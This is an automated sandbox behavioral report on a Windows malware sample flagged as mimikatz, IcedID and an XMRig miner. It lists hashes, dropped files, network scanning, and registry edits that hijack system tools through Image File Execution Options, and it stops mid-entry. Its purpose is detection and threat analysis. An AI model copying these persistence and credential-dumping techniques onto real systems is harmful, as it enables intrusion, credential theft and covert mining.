Analysis
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max time kernel
150s -
max time network
153s -
platform
windows7_x64 -
resource
win7-20240319-en -
resource tags
arch:x64arch:x86image:win7-20240319-enlocale:en-usos:windows7-x64system -
submitted
08-04-2024 00:44
Behavioral task
behavioral1
Sample
2024-04-08_b3a02a6011735502877f18382c0ca97a_hacktools_icedid_mimikatz.exe
Resource
win7-20240319-en
General
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Target
2024-04-08_b3a02a6011735502877f18382c0ca97a_hacktools_icedid_mimikatz.exe
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Size
7.7MB
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MD5
b3a02a6011735502877f18382c0ca97a
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SHA1
dc7fd1bd0add3cdf5dcddf4d9924a71f1243d51b
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SHA256
ee139684b172c9837b8c57aea4c61f6cdee3d5a8b4dcc7d109e2fe93ea942027
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SHA512
134d7910178b7bbde561d1fadfc835bef710eaa4f17b89fb370530689205cda3d8e9be95f5012b305defc4ce178845a06bd1302476c8e0f01f4e1675d08402ca
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SSDEEP
196608:ylTPemknGzwHdOgEPHd9BYX/nivPlTXTYP:a3jz0E52/iv1
Malware Config
Signatures
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Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
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Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
Processes:
eilnunc.exedescription pid process target process PID 2656 created 988 2656 eilnunc.exe spoolsv.exe -
Contacts a large (24633) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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Detects executables containing SQL queries to confidential data stores. Observed in infostealers 2 IoCs
Processes:
resource yara_rule behavioral1/memory/2088-135-0x000000013FDF0000-0x000000013FEDE000-memory.dmp INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore behavioral1/memory/2088-136-0x000000013FDF0000-0x000000013FEDE000-memory.dmp INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore -
UPX dump on OEP (original entry point) 32 IoCs
Processes:
resource yara_rule behavioral1/memory/2868-0-0x0000000000400000-0x0000000000A9B000-memory.dmp UPX C:\Windows\mypsebuf\eilnunc.exe UPX behavioral1/memory/2020-8-0x0000000000400000-0x0000000000A9B000-memory.dmp UPX \Windows\iylieyqyt\Corporate\vfshost.exe UPX behavioral1/memory/1264-133-0x0000000000CB0000-0x0000000000D9E000-memory.dmp UPX behavioral1/memory/2088-135-0x000000013FDF0000-0x000000013FEDE000-memory.dmp UPX behavioral1/memory/2088-136-0x000000013FDF0000-0x000000013FEDE000-memory.dmp UPX C:\Windows\Temp\iylieyqyt\vrqyqlcuq.exe UPX behavioral1/memory/2176-142-0x000000013F670000-0x000000013F6CB000-memory.dmp UPX \Windows\Temp\dunqlgivb\tnymeq.exe UPX behavioral1/memory/2656-146-0x0000000002A70000-0x0000000002B90000-memory.dmp UPX behavioral1/memory/1556-147-0x000000013FDE0000-0x000000013FF00000-memory.dmp UPX behavioral1/memory/2176-153-0x000000013F670000-0x000000013F6CB000-memory.dmp UPX behavioral1/memory/1140-162-0x000000013FB10000-0x000000013FB6B000-memory.dmp UPX behavioral1/memory/1140-179-0x000000013FB10000-0x000000013FB6B000-memory.dmp UPX behavioral1/memory/2112-185-0x000000013FDE0000-0x000000013FE3B000-memory.dmp UPX behavioral1/memory/2112-187-0x000000013FDE0000-0x000000013FE3B000-memory.dmp UPX behavioral1/memory/1556-189-0x000000013FDE0000-0x000000013FF00000-memory.dmp UPX behavioral1/memory/1688-194-0x000000013F9F0000-0x000000013FA4B000-memory.dmp UPX behavioral1/memory/1688-196-0x000000013F9F0000-0x000000013FA4B000-memory.dmp UPX behavioral1/memory/1556-199-0x000000013FDE0000-0x000000013FF00000-memory.dmp UPX behavioral1/memory/2936-205-0x000000013F7E0000-0x000000013F83B000-memory.dmp UPX behavioral1/memory/2936-207-0x000000013F7E0000-0x000000013F83B000-memory.dmp UPX behavioral1/memory/1556-209-0x000000013FDE0000-0x000000013FF00000-memory.dmp UPX behavioral1/memory/1556-211-0x000000013FDE0000-0x000000013FF00000-memory.dmp UPX behavioral1/memory/1556-216-0x000000013FDE0000-0x000000013FF00000-memory.dmp UPX behavioral1/memory/1556-218-0x000000013FDE0000-0x000000013FF00000-memory.dmp UPX behavioral1/memory/1556-234-0x000000013FDE0000-0x000000013FF00000-memory.dmp UPX behavioral1/memory/1556-235-0x000000013FDE0000-0x000000013FF00000-memory.dmp UPX behavioral1/memory/1556-236-0x000000013FDE0000-0x000000013FF00000-memory.dmp UPX behavioral1/memory/1556-238-0x000000013FDE0000-0x000000013FF00000-memory.dmp UPX behavioral1/memory/1556-242-0x000000013FDE0000-0x000000013FF00000-memory.dmp UPX -
XMRig Miner payload 11 IoCs
Processes:
resource yara_rule behavioral1/memory/1556-189-0x000000013FDE0000-0x000000013FF00000-memory.dmp xmrig behavioral1/memory/1556-199-0x000000013FDE0000-0x000000013FF00000-memory.dmp xmrig behavioral1/memory/1556-209-0x000000013FDE0000-0x000000013FF00000-memory.dmp xmrig behavioral1/memory/1556-211-0x000000013FDE0000-0x000000013FF00000-memory.dmp xmrig behavioral1/memory/1556-216-0x000000013FDE0000-0x000000013FF00000-memory.dmp xmrig behavioral1/memory/1556-218-0x000000013FDE0000-0x000000013FF00000-memory.dmp xmrig behavioral1/memory/1556-234-0x000000013FDE0000-0x000000013FF00000-memory.dmp xmrig behavioral1/memory/1556-235-0x000000013FDE0000-0x000000013FF00000-memory.dmp xmrig behavioral1/memory/1556-236-0x000000013FDE0000-0x000000013FF00000-memory.dmp xmrig behavioral1/memory/1556-238-0x000000013FDE0000-0x000000013FF00000-memory.dmp xmrig behavioral1/memory/1556-242-0x000000013FDE0000-0x000000013FF00000-memory.dmp xmrig -
mimikatz is an open source tool to dump credentials on Windows 8 IoCs
Processes:
resource yara_rule behavioral1/memory/2868-0-0x0000000000400000-0x0000000000A9B000-memory.dmp mimikatz C:\Windows\mypsebuf\eilnunc.exe mimikatz behavioral1/memory/2020-8-0x0000000000400000-0x0000000000A9B000-memory.dmp mimikatz behavioral1/memory/1264-134-0x0000000000CB0000-0x0000000000D9E000-memory.dmp mimikatz behavioral1/memory/2088-135-0x000000013FDF0000-0x000000013FEDE000-memory.dmp mimikatz behavioral1/memory/2088-136-0x000000013FDF0000-0x000000013FEDE000-memory.dmp mimikatz behavioral1/memory/2656-146-0x0000000002A70000-0x0000000002B90000-memory.dmp mimikatz behavioral1/memory/2656-198-0x0000000002A70000-0x0000000002B90000-memory.dmp mimikatz -
Drops file in Drivers directory 3 IoCs
Processes:
eilnunc.exewpcap.exedescription ioc process File opened for modification C:\Windows\system32\drivers\etc\hosts eilnunc.exe File created C:\Windows\system32\drivers\npf.sys wpcap.exe File created C:\Windows\system32\drivers\etc\hosts eilnunc.exe -
Modifies Windows Firewall 2 TTPs 2 IoCs
Processes:
netsh.exenetsh.exepid process 1196 netsh.exe 2080 netsh.exe -
Sets file execution options in registry 2 TTPs 40 IoCs
Processes:
eilnunc.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe eilnunc.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe eilnunc.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe eilnunc.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe eilnunc.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe eilnunc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" eilnunc.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe eilnunc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" eilnunc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" eilnunc.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe eilnunc.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe eilnunc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" eilnunc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" eilnunc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" eilnunc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" eilnunc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" eilnunc.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe eilnunc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" eilnunc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" eilnunc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" eilnunc.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe eilnunc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" eilnunc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" eilnunc.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe eilnunc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" eilnunc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" eilnunc.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe eilnunc.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe eilnunc.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe eilnunc.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe eilnunc.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe eilnunc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" eilnunc.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe eilnunc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" eilnunc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" eilnunc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" eilnunc.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe eilnunc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" eilnunc.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe eilnunc.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe eilnunc.exe -
Executes dropped EXE 16 IoCs
Processes:
eilnunc.exeeilnunc.exewpcap.exebqewiucvf.exevfshost.exevrqyqlcuq.exetnymeq.exevrqyqlcuq.exexohudmc.exedqhjao.exevrqyqlcuq.exevrqyqlcuq.exevrqyqlcuq.exeeilnunc.exeyidvflbzs.exeeilnunc.exepid process 2020 eilnunc.exe 2656 eilnunc.exe 1520 wpcap.exe 2852 bqewiucvf.exe 2088 vfshost.exe 2176 vrqyqlcuq.exe 1556 tnymeq.exe 1140 vrqyqlcuq.exe 2040 xohudmc.exe 2088 dqhjao.exe 2112 vrqyqlcuq.exe 1688 vrqyqlcuq.exe 2936 vrqyqlcuq.exe 2392 eilnunc.exe 3044 yidvflbzs.exe 1184 eilnunc.exe -
Loads dropped DLL 22 IoCs
Processes:
cmd.execmd.exewpcap.execmd.exebqewiucvf.execmd.exeeilnunc.execmd.exepid process 2936 cmd.exe 2936 cmd.exe 2776 cmd.exe 1520 wpcap.exe 1520 wpcap.exe 1520 wpcap.exe 1520 wpcap.exe 1520 wpcap.exe 1720 cmd.exe 2852 bqewiucvf.exe 2852 bqewiucvf.exe 1264 cmd.exe 1264 cmd.exe 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2656 eilnunc.exe 2632 cmd.exe -
Processes:
resource yara_rule \Windows\iylieyqyt\Corporate\vfshost.exe upx behavioral1/memory/2088-135-0x000000013FDF0000-0x000000013FEDE000-memory.dmp upx behavioral1/memory/2088-136-0x000000013FDF0000-0x000000013FEDE000-memory.dmp upx C:\Windows\Temp\iylieyqyt\vrqyqlcuq.exe upx behavioral1/memory/2176-142-0x000000013F670000-0x000000013F6CB000-memory.dmp upx \Windows\Temp\dunqlgivb\tnymeq.exe upx behavioral1/memory/2656-146-0x0000000002A70000-0x0000000002B90000-memory.dmp upx behavioral1/memory/1556-147-0x000000013FDE0000-0x000000013FF00000-memory.dmp upx behavioral1/memory/2176-153-0x000000013F670000-0x000000013F6CB000-memory.dmp upx behavioral1/memory/1140-162-0x000000013FB10000-0x000000013FB6B000-memory.dmp upx behavioral1/memory/1140-179-0x000000013FB10000-0x000000013FB6B000-memory.dmp upx behavioral1/memory/2112-185-0x000000013FDE0000-0x000000013FE3B000-memory.dmp upx behavioral1/memory/2112-187-0x000000013FDE0000-0x000000013FE3B000-memory.dmp upx behavioral1/memory/1556-189-0x000000013FDE0000-0x000000013FF00000-memory.dmp upx behavioral1/memory/1688-194-0x000000013F9F0000-0x000000013FA4B000-memory.dmp upx behavioral1/memory/1688-196-0x000000013F9F0000-0x000000013FA4B000-memory.dmp upx behavioral1/memory/1556-199-0x000000013FDE0000-0x000000013FF00000-memory.dmp upx behavioral1/memory/2656-204-0x0000000001940000-0x000000000199B000-memory.dmp upx behavioral1/memory/2936-205-0x000000013F7E0000-0x000000013F83B000-memory.dmp upx behavioral1/memory/2936-207-0x000000013F7E0000-0x000000013F83B000-memory.dmp upx behavioral1/memory/1556-209-0x000000013FDE0000-0x000000013FF00000-memory.dmp upx behavioral1/memory/1556-211-0x000000013FDE0000-0x000000013FF00000-memory.dmp upx behavioral1/memory/1556-216-0x000000013FDE0000-0x000000013FF00000-memory.dmp upx behavioral1/memory/1556-218-0x000000013FDE0000-0x000000013FF00000-memory.dmp upx behavioral1/memory/1556-234-0x000000013FDE0000-0x000000013FF00000-memory.dmp upx behavioral1/memory/1556-235-0x000000013FDE0000-0x000000013FF00000-memory.dmp upx behavioral1/memory/1556-236-0x000000013FDE0000-0x000000013FF00000-memory.dmp upx behavioral1/memory/1556-238-0x000000013FDE0000-0x000000013FF00000-memory.dmp upx behavioral1/memory/1556-242-0x000000013FDE0000-0x000000013FF00000-memory.dmp upx -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 22 ifconfig.me 21 ifconfig.me -
Creates a Windows Service
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Drops file in System32 directory 12 IoCs
Processes:
wpcap.exexohudmc.exeeilnunc.exedescription ioc process File created C:\Windows\system32\wpcap.dll wpcap.exe File created C:\Windows\SysWOW64\dqhjao.exe xohudmc.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7ADF8A57305EF056A6A6A947A1CF4C7A eilnunc.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat eilnunc.exe File created C:\Windows\SysWOW64\wpcap.dll wpcap.exe File created C:\Windows\system32\Packet.dll wpcap.exe File opened for modification C:\Windows\SysWOW64\dqhjao.exe xohudmc.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751 eilnunc.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751 eilnunc.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7ADF8A57305EF056A6A6A947A1CF4C7A eilnunc.exe File created C:\Windows\SysWOW64\pthreadVC.dll wpcap.exe File created C:\Windows\SysWOW64\Packet.dll wpcap.exe -
Drops file in Program Files directory 3 IoCs
Processes:
wpcap.exedescription ioc process File created C:\Program Files\WinPcap\LICENSE wpcap.exe File created C:\Program Files\WinPcap\uninstall.exe wpcap.exe File created C:\Program Files\WinPcap\rpcapd.exe wpcap.exe -
Drops file in Windows directory 60 IoCs
Processes:
eilnunc.exe2024-04-08_b3a02a6011735502877f18382c0ca97a_hacktools_icedid_mimikatz.exeyidvflbzs.execmd.exedescription ioc process File created C:\Windows\iylieyqyt\UnattendGC\docmicfg.xml eilnunc.exe File opened for modification C:\Windows\mypsebuf\spoolsrv.xml eilnunc.exe File opened for modification C:\Windows\iylieyqyt\pqmfufybt\Packet.dll eilnunc.exe File created C:\Windows\iylieyqyt\UnattendGC\specials\tucl-1.dll eilnunc.exe File created C:\Windows\iylieyqyt\UnattendGC\specials\spoolsrv.xml eilnunc.exe File created C:\Windows\iylieyqyt\UnattendGC\Shellcode.ini eilnunc.exe File created C:\Windows\iylieyqyt\Corporate\mimilib.dll eilnunc.exe File created C:\Windows\iylieyqyt\UnattendGC\specials\trfo-2.dll eilnunc.exe File created C:\Windows\iylieyqyt\UnattendGC\specials\schoedcl.exe eilnunc.exe File created C:\Windows\iylieyqyt\UnattendGC\specials\vimpcsvc.exe eilnunc.exe File created C:\Windows\iylieyqyt\UnattendGC\svschost.xml eilnunc.exe File created C:\Windows\mypsebuf\spoolsrv.xml eilnunc.exe File created C:\Windows\mypsebuf\eilnunc.exe 2024-04-08_b3a02a6011735502877f18382c0ca97a_hacktools_icedid_mimikatz.exe File created C:\Windows\iylieyqyt\pqmfufybt\wpcap.dll eilnunc.exe File created C:\Windows\iylieyqyt\UnattendGC\specials\spoolsrv.exe eilnunc.exe File created C:\Windows\iylieyqyt\UnattendGC\specials\crli-0.dll eilnunc.exe File created C:\Windows\iylieyqyt\UnattendGC\specials\libxml2.dll eilnunc.exe File created C:\Windows\iylieyqyt\UnattendGC\specials\vimpcsvc.xml eilnunc.exe File created C:\Windows\iylieyqyt\UnattendGC\specials\schoedcl.xml eilnunc.exe File created C:\Windows\iylieyqyt\Corporate\vfshost.exe eilnunc.exe File created C:\Windows\iylieyqyt\UnattendGC\specials\exma-1.dll eilnunc.exe File created C:\Windows\iylieyqyt\UnattendGC\specials\ucl.dll eilnunc.exe File created C:\Windows\iylieyqyt\upbdrjv\swrpwe.exe eilnunc.exe File created C:\Windows\iylieyqyt\UnattendGC\specials\tibe-2.dll eilnunc.exe File created C:\Windows\mypsebuf\schoedcl.xml eilnunc.exe File opened for modification C:\Windows\iylieyqyt\pqmfufybt\Result.txt yidvflbzs.exe File created C:\Windows\iylieyqyt\UnattendGC\schoedcl.xml eilnunc.exe File created C:\Windows\iylieyqyt\pqmfufybt\scan.bat eilnunc.exe File created C:\Windows\iylieyqyt\UnattendGC\specials\docmicfg.exe eilnunc.exe File opened for modification C:\Windows\mypsebuf\vimpcsvc.xml eilnunc.exe File opened for modification C:\Windows\mypsebuf\schoedcl.xml eilnunc.exe File opened for modification C:\Windows\mypsebuf\eilnunc.exe 2024-04-08_b3a02a6011735502877f18382c0ca97a_hacktools_icedid_mimikatz.exe File created C:\Windows\iylieyqyt\UnattendGC\specials\svschost.exe eilnunc.exe File opened for modification C:\Windows\iylieyqyt\Corporate\log.txt cmd.exe File created C:\Windows\iylieyqyt\UnattendGC\AppCapture64.dll eilnunc.exe File created C:\Windows\iylieyqyt\UnattendGC\AppCapture32.dll eilnunc.exe File created C:\Windows\iylieyqyt\UnattendGC\vimpcsvc.xml eilnunc.exe File created C:\Windows\mypsebuf\svschost.xml eilnunc.exe File created C:\Windows\mypsebuf\vimpcsvc.xml eilnunc.exe File created C:\Windows\iylieyqyt\UnattendGC\specials\coli-0.dll eilnunc.exe File created C:\Windows\iylieyqyt\UnattendGC\specials\ssleay32.dll eilnunc.exe File created C:\Windows\iylieyqyt\pqmfufybt\yidvflbzs.exe eilnunc.exe File created C:\Windows\iylieyqyt\UnattendGC\specials\cnli-1.dll eilnunc.exe File created C:\Windows\iylieyqyt\UnattendGC\spoolsrv.xml eilnunc.exe File opened for modification C:\Windows\mypsebuf\docmicfg.xml eilnunc.exe File created C:\Windows\iylieyqyt\Corporate\mimidrv.sys eilnunc.exe File created C:\Windows\iylieyqyt\pqmfufybt\bqewiucvf.exe eilnunc.exe File created C:\Windows\iylieyqyt\pqmfufybt\Packet.dll eilnunc.exe File created C:\Windows\iylieyqyt\UnattendGC\specials\xdvl-0.dll eilnunc.exe File created C:\Windows\iylieyqyt\UnattendGC\specials\docmicfg.xml eilnunc.exe File created C:\Windows\iylieyqyt\pqmfufybt\wpcap.exe eilnunc.exe File created C:\Windows\iylieyqyt\UnattendGC\specials\libeay32.dll eilnunc.exe File created C:\Windows\iylieyqyt\pqmfufybt\ip.txt eilnunc.exe File created C:\Windows\iylieyqyt\UnattendGC\specials\trch-1.dll eilnunc.exe File created C:\Windows\ime\eilnunc.exe eilnunc.exe File created C:\Windows\iylieyqyt\UnattendGC\specials\svschost.xml eilnunc.exe File created C:\Windows\mypsebuf\docmicfg.xml eilnunc.exe File opened for modification C:\Windows\mypsebuf\svschost.xml eilnunc.exe File created C:\Windows\iylieyqyt\UnattendGC\specials\posh-0.dll eilnunc.exe File created C:\Windows\iylieyqyt\UnattendGC\specials\zlib1.dll eilnunc.exe -
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exepid process 1544 sc.exe 1412 sc.exe 1796 sc.exe 2128 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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NSIS installer 3 IoCs
Processes:
resource yara_rule C:\Windows\mypsebuf\eilnunc.exe nsis_installer_2 \Windows\iylieyqyt\pqmfufybt\wpcap.exe nsis_installer_1 \Windows\iylieyqyt\pqmfufybt\wpcap.exe nsis_installer_2 -
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exeschtasks.exepid process 1564 schtasks.exe 1728 schtasks.exe 1428 schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
eilnunc.exenetsh.exenetsh.exevrqyqlcuq.exenetsh.exevrqyqlcuq.exenetsh.exevrqyqlcuq.exenetsh.exenetsh.exenetsh.exenetsh.exevrqyqlcuq.exevrqyqlcuq.exenetsh.exenetsh.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ eilnunc.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\aa-72-07-a6-f3-75\WpadDetectedUrl eilnunc.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-1 = "IPsec Relying Party" netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software vrqyqlcuq.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump vrqyqlcuq.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA eilnunc.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump vrqyqlcuq.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs eilnunc.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates eilnunc.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\aa-72-07-a6-f3-75\WpadDecisionTime = e02c4a2c4e89da01 eilnunc.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f0012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 eilnunc.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs eilnunc.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs eilnunc.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-4 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-101 = "Provides Network Access Protection enforcement for EAP authenticated network connections, such as those used with 802.1X and VPN technologies." netsh.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1" vrqyqlcuq.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA eilnunc.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 eilnunc.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-100 = "EAP Quarantine Enforcement Client" netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing eilnunc.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings eilnunc.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0" eilnunc.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local 